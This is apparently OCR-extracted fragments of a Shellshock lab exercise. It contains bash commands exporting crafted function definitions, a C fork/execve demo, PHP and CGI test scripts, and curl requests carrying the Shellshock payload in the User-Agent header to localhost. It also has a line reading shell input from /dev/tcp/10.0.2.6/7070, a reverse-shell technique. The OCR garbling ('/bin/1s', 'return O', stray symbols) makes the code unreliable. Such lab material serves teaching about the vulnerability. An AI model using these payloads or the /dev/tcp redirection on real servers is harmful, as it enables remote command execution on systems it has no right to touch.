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$ export foo='echo world; () { echo hello;}'
$ bash
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$ /bin/cat < /dev/tcp/10.0.2.6/7070 >&0
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#include <stdio.h>
#include <stdlib.h>

#include <unistd.h>

extern char **environ;

int main()
{
char *args[] =
{
"/bin/sh", "-c",
"/bin/1s", NULL
ig:
pid_t pid = fork();

if (pid == 0) {
/* child =/
printf ("child\n") ;

execve (args[0], &args[0], NULL); @

}
else if(pid > 0) {
/* parent */
printf ("parent\n") ;
}

return O;
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$ gcc prog.c -o prog

$ export foo='() { echo hello; }; echo world;'

$ ./prog
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execve (args[0], &args[0], environ);
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PHP 72/7 (test.php):

<?php
system("/bin/1ls -1")
>

CGI )7 (test.cgi):

#!/bin/sh
/bin/ls -1
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$ curl -A "() { echo hello; }; echo world;" http://localhost/test.php
$ curl -A "() { echo hello; }; echo world;" http://localhost/test.cgi



